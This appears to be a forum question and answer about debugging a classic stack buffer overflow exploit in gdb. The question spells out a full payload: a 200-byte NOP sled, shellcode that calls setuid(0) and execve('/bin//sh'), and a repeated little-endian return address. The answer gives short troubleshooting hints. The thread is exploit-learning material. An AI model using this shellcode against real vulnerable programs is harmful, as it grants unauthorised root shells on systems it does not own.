My nopsled getting Segmentation fault (core dumped)

Question

After overwrite the EIP register, I try breakpoint on the function strcpy() and then run the program after a breakpoint in the debugger.

Then I check the ESP register :

(gdb) i r esp
esp            0xbffff268   0xbffff268

In 0xbffff268 I subtract address (say, 300) :

0xbffff268 - 300 = 0xbffff13c

In the form of little endian = \x3c\xf1\xff\xbf

After the address in the calculations, the address will be used in nopsled I created

NOPSLED + SHELLCODE + ESP

so my exploit is :

`perl -e 'print "\x90" x 200 . "\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x3c\xf1\xff\xbf" x 45'`

When executed using the debugger and then typing c in the debugger, I get Segmentation fault (core dumped) at the address ESP register.

Why my exploit doesn't work ?

Answer 1

Stack growing downwards try adding that value, make sure your payload in a executable area and your calculations right (which we don't know how you do it). Buffer overflow doesn't mean unlimited unfragmented override, check your payload's integrity. If you can share your code we can examine and understand your problem better.